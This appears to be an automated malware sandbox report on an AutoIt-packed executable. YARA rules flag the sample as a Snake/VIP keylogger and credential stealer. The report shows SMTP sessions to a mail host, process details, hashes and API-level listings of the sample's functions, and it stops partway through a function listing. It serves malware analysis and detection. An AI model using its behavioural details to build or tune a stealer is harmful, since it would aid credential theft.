Jan 3, 2025 09:52:57.376312017 CET	587	50057	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:57.376480103 CET	50057	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:57.522917032 CET	587	50057	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:53:01.035149097 CET	587	50058	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:23:00 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:53:01.101700068 CET	50058	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:53:01.248416901 CET	587	50058	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:53:01.594805002 CET	50058	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:53:01.747167110 CET	587	50058	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:53:03.984966993 CET	587	50059	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:23:03 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:53:03.987943888 CET	50059	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:53:04.147802114 CET	587	50059	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:53:04.147960901 CET	50059	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:53:04.298666954 CET	587	50059	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:53:05.523578882 CET	587	50060	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:23:05 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:53:05.523993969 CET	50060	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:53:05.669959068 CET	587	50060	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:53:05.670716047 CET	50060	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:53:05.817783117 CET	587	50060	208.91.199.115	192.168.2.5	220 TLS go ahead

Target ID:	0
Start time:	03:48:57
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\W2k2NLSvja.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\W2k2NLSvja.exe"
Imagebase:	0xf80000
File size:	1'056'256 bytes
MD5 hash:	3E473D16C81DD66FEE6F02537B601626
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:48:58
Start date:	03/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\W2k2NLSvja.exe"
Imagebase:	0xf70000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	6.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	177

Executed Functions

Function 00F83B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F83B7A
IsDebuggerPresent.KERNEL32 ref: 00F83B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,010462F8,010462E0,?,?), ref: 00F83BFD

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Part of subcall function 00F90A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00F83C26,010462F8,?,?,?), ref: 00F90ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00F83C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,010393F0,00000010), ref: 00FBD4BC
SetCurrentDirectoryW.KERNEL32(?,010462F8,?,?,?), ref: 00FBD4F4
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,01035D40,010462F8,?,?,?), ref: 00FBD57A
ShellExecuteW.SHELL32(00000000,?,?), ref: 00FBD581

Part of subcall function 00F83A58: GetSysColorBrush.USER32(0000000F), ref: 00F83A62
Part of subcall function 00F83A58: LoadCursorW.USER32(00000000,00007F00), ref: 00F83A71
Part of subcall function 00F83A58: LoadIconW.USER32(00000063), ref: 00F83A88
Part of subcall function 00F83A58: LoadIconW.USER32(000000A4), ref: 00F83A9A
Part of subcall function 00F83A58: LoadIconW.USER32(000000A2), ref: 00F83AAC
Part of subcall function 00F83A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F83AD2
Part of subcall function 00F83A58: RegisterClassExW.USER32(?), ref: 00F83B28

Part of subcall function 00F839E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F83A15
Part of subcall function 00F839E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F83A36
Part of subcall function 00F839E7: ShowWindow.USER32(00000000,?,?), ref: 00F83A4A
Part of subcall function 00F839E7: ShowWindow.USER32(00000000,?,?), ref: 00F83A53

Part of subcall function 00F843DB: _memset.LIBCMT ref: 00F84401
Part of subcall function 00F843DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F844A6

Strings

runas, xrefs: 00FBD575
This is a third-party compiled AutoIt script., xrefs: 00FBD4B4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: e3fbe2a7a80607c445491e8024b0c64c0aad58bd1cce2c3325e2778eddbc6f2a
Instruction ID: 2f0805ec5fa5c053f21cc3db7161443dd3a4b10b8253dcd53a6dab9203bf9d9f
Opcode Fuzzy Hash: e3fbe2a7a80607c445491e8024b0c64c0aad58bd1cce2c3325e2778eddbc6f2a
Instruction Fuzzy Hash: 7D5146B5E04249BBCF21FBB5DD85EED7BB8AB06700F004069F491A2151EA7E9605FB21

Function 00F84AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00F84B2B

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

GetCurrentProcess.KERNEL32(?,0100FAEC,00000000,00000000,?), ref: 00F84BF8
IsWow64Process.KERNEL32(00000000), ref: 00F84BFF
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00F84C45
FreeLibrary.KERNEL32(00000000), ref: 00F84C50
GetSystemInfo.KERNEL32(00000000), ref: 00F84C81
GetSystemInfo.KERNEL32(00000000), ref: 00F84C8D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 0464a1145e7b4ac34553081c9e5be7e7fb8ee3461a4cb3a3037165270735e53e
Instruction ID: 30a33559eadbadbf2b9c8ff22cc54bc63a02305eafaecefa26fa523d3fb0c490
Opcode Fuzzy Hash: 0464a1145e7b4ac34553081c9e5be7e7fb8ee3461a4cb3a3037165270735e53e
Instruction Fuzzy Hash: DF91D67194A7C1DEC731EB7884512EAFFE4AF66310B584D5ED0CB83A41D224F948EB1A

Function 00F84FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00F84EEE,?,?,00000000,00000000), ref: 00F84FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00F84EEE,?,?,00000000,00000000), ref: 00F85010
LoadResource.KERNEL32(?,00000000,?,?,00F84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00F84F8F), ref: 00FBDD60
SizeofResource.KERNEL32(?,00000000,?,?,00F84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00F84F8F), ref: 00FBDD75
LockResource.KERNEL32(00F84EEE,?,?,00F84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00F84F8F,00000000), ref: 00FBDD88

Strings

SCRIPT, xrefs: 00F85006

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: eff73b7b84c92daa6c287a43a3a13118541996a16a5f7ef787d2cb10eb9529f8
Instruction ID: bae96c2c1859e767113030cd5b91ab87106cf9e492492bba9bb1799ee8447075
Opcode Fuzzy Hash: eff73b7b84c92daa6c287a43a3a13118541996a16a5f7ef787d2cb10eb9529f8
Instruction Fuzzy Hash: 0B115A75600B02AFE7329B65DC58FA77BB9EBC9B51F20416CF44696250DB62E800AB60

Function 00FE4696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00FBE7C1), ref: 00FE46A6
FindFirstFileW.KERNELBASE(?,?), ref: 00FE46B7
FindClose.KERNEL32(00000000), ref: 00FE46C7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 9ada58c725e0ae16bd2afafe39050fd083b1ab25c228348603100e2290fb2d69
Instruction ID: 00398bfc6536823b953f552d1db166ec284043ece0082277beba18bf749bcc37
Opcode Fuzzy Hash: 9ada58c725e0ae16bd2afafe39050fd083b1ab25c228348603100e2290fb2d69
Instruction Fuzzy Hash: 4DE026328104016B8230B738EC4D8EAB7ACDE06335F10071AF975C20D0EBB4BD60A7DA

Function 00F8E800 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00FC428C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 70759007ce4b7a93247e362751716292629af49fe35b82eb82b4cd307e8d9885
Instruction ID: 0f98d11ceefa24ff9e9c96c2ab4dacdf396e146d21d849b1e96548d8690673dc
Opcode Fuzzy Hash: 70759007ce4b7a93247e362751716292629af49fe35b82eb82b4cd307e8d9885
Instruction Fuzzy Hash: C3A28975E00206CFCB24EF58C981BEAB7B1FF49310F248069E956AB351D735AC46EB81

Function 00F90B30 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F90BBB
timeGetTime.WINMM ref: 00F90E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F90FB3
TranslateMessage.USER32(?), ref: 00F90FC7
DispatchMessageW.USER32(?), ref: 00F90FD5
Sleep.KERNEL32(0000000A), ref: 00F90FDF
LockWindowUpdate.USER32(00000000,?,?), ref: 00F9105A
DestroyWindow.USER32 ref: 00F91066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F91080
Sleep.KERNEL32(0000000A,?,?), ref: 00FC52AD
TranslateMessage.USER32(?), ref: 00FC608A
DispatchMessageW.USER32(?), ref: 00FC6098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FC60AC

Strings

@COM_EVENTOBJ, xrefs: 00FC591A
@TRAY_ID, xrefs: 00FC5BB9
@GUI_CTRLID, xrefs: 00FC5364
@GUI_WINHANDLE, xrefs: 00FC53B9
@GUI_CTRLHANDLE, xrefs: 00FC540E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4003667617-3242690629
Opcode ID: 9969d456894b829df0feaaad3048beaa81bb41fad0a9563964b7ac3d4186a458
Instruction ID: 6f34aa9e322acbe50396e9c536d8465097e93edf453cd59c8f55f6654dd86006
Opcode Fuzzy Hash: 9969d456894b829df0feaaad3048beaa81bb41fad0a9563964b7ac3d4186a458
Instruction Fuzzy Hash: 97B2F570A08742DFDB24DF24C985FAAB7E4FF84714F14491DE48987291DB79E884EB82

Function 00FE93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FE91E9: __time64.LIBCMT ref: 00FE91F3

Part of subcall function 00F85045: _fseek.LIBCMT ref: 00F8505D

__wsplitpath.LIBCMT ref: 00FE94BE

Part of subcall function 00FA432E: __wsplitpath_helper.LIBCMT ref: 00FA436E

_wcscpy.LIBCMT ref: 00FE94D1
_wcscat.LIBCMT ref: 00FE94E4
__wsplitpath.LIBCMT ref: 00FE9509
_wcscat.LIBCMT ref: 00FE951F
_wcscat.LIBCMT ref: 00FE9532

Part of subcall function 00FE922F: _memmove.LIBCMT ref: 00FE9268
Part of subcall function 00FE922F: _memmove.LIBCMT ref: 00FE9277

_wcscmp.LIBCMT ref: 00FE9479

Part of subcall function 00FE99BE: _wcscmp.LIBCMT ref: 00FE9AAE
Part of subcall function 00FE99BE: _wcscmp.LIBCMT ref: 00FE9AC1

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00FE96DC
_wcsncpy.LIBCMT ref: 00FE974F
DeleteFileW.KERNEL32(?,?), ref: 00FE9785
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00FE979B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FE97AC
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FE97BE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 6cb0afa73d246e42219faaf434eb04cf2d4412a1f3e8b13b9c238ce945910d53
Instruction ID: 25589de312ba3bb731f26f2a3b4eaca6da250d71f85b5cc86a9482b1c1436e29
Opcode Fuzzy Hash: 6cb0afa73d246e42219faaf434eb04cf2d4412a1f3e8b13b9c238ce945910d53
Instruction Fuzzy Hash: E9C13BB1E00219AFDF21DF95CC85ADEB7BDEF45310F0040AAF609E6141EB749A849F65

Function 00F83015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F83074
RegisterClassExW.USER32(00000030), ref: 00F8309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F830AF
InitCommonControlsEx.COMCTL32(?), ref: 00F830CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F830DC
LoadIconW.USER32(000000A9), ref: 00F830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F83101

Strings

AutoIt v3 GUI, xrefs: 00F83090
+, xrefs: 00F8305D
0, xrefs: 00F83056
TaskbarCreated, xrefs: 00F830A4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 79b9f84cea3dd8776154c16776b6fc1c08532976efb6920f1de87f99406debde
Instruction ID: e054fba3b49bdf8d97eff1ce1c2d270012dc2418c46d1128eed0a4f45ccaf482
Opcode Fuzzy Hash: 79b9f84cea3dd8776154c16776b6fc1c08532976efb6920f1de87f99406debde
Instruction Fuzzy Hash: 79317AB584130AEFEB61CFA4D985AC9BBF0FB09310F14411EE5C0E6284E7BA0585DF51

Function 00F83041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F83074
RegisterClassExW.USER32(00000030), ref: 00F8309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F830AF
InitCommonControlsEx.COMCTL32(?), ref: 00F830CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F830DC
LoadIconW.USER32(000000A9), ref: 00F830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F83101

Strings

AutoIt v3 GUI, xrefs: 00F83090
+, xrefs: 00F8305D
0, xrefs: 00F83056
TaskbarCreated, xrefs: 00F830A4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 7b3e48646341db8de15bea431d02ac0a1ef794b807e7615ae83feb6d621101de
Instruction ID: 8821825841a457b4336e7df541ae414832088dddb54b73fa359d0d7c23133568
Opcode Fuzzy Hash: 7b3e48646341db8de15bea431d02ac0a1ef794b807e7615ae83feb6d621101de
Instruction Fuzzy Hash: FC21E5F5900309AFEB21DFA4E988A9DBBF4FB09700F00421AF591E6284E7BB45449F91

Function 00F871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F84864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,010462F8,?,00F837C0,?), ref: 00F84882

Part of subcall function 00FA074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00F872C5), ref: 00FA0771

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00F87308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00FBECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00FBED32
RegCloseKey.ADVAPI32(?), ref: 00FBED70
_wcscat.LIBCMT ref: 00FBEDC9

Strings

\Include\, xrefs: 00F872C5
Software\AutoIt v3\AutoIt, xrefs: 00F872FE
Include, xrefs: 00FBECE8, 00FBED29
\, xrefs: 00FBEDEC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: eb921bd1c204578b20d9e3cc6c5759fd33b3ec7ae532ee2631260272f5212f4d
Instruction ID: 32d61e60a20c61d82c7f2955100e1468adcc611afa86308c3233417fe2c76642
